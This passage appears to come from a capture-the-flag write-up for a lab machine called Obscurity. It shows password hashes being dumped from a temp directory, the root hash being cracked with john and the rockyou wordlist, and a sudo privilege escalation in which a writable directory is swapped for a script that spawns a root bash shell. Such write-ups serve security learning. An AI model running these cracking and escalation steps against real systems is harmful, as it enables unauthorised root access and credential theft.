robert@obscure:~$ while true;do cat /tmp/SSH/* 2>/dev/null;done
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7
Cracking the root hash
hash
1
2
➜ obscurity cat hash
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
1
2
3
4
5
6
7
8
9
10
11
➜ obscurity john -w=/usr/share/wordlists/rockyou.txt hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 XOP 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mercedes (?)
1g 0:00:00:00 DONE (2020-05-09 11:18) 1.388g/s 711.1p/s 711.1c/s 711.1C/s angelo..letmein
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And we got password for the user root
Method 3 (unintended)
This Is the unintended
method……………..
If you look at the dir
/home/robert/BetterSSH we have the permission to rename
the dir name, So its easy to rename it to any other name and make your own Dir
called BetterSSH
and then make a file inside it called BetterSSH.py
since the user robert
can run the script
as root , it will run our custom script that contains the code to spawn bash
.And running the script we are root
1
2
3
robert@obscure:~$ mv BetterSSH BS
robert@obscure:~$ mkdir BetterSSH
robert@obscure:~$ touch BetterSSH/BetterSSH.py
And now just use the following simple code to spawn a bash
shell.
1
2
import os
os.system("/bin/bash")
1
2
3
4
robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
root@obscure:~/BetterSSH# whoami
root
root@obscure:~/BetterSSH#
Got root.txt
1
2
3
root@obscure:/root# cat root.txt
512fd--------------------------9e3
root@obscure:/root#
And we pwned it …….
If u liked the writeup.Support a Poor Student to Get the OSCP-Cert
on BuymeaCoffee
If you want to get notified as soon as i upload something new to my
blog
So just click on the bell icon you are seeing on the right side – > and allow pushnotification
Comments powered by Disqus.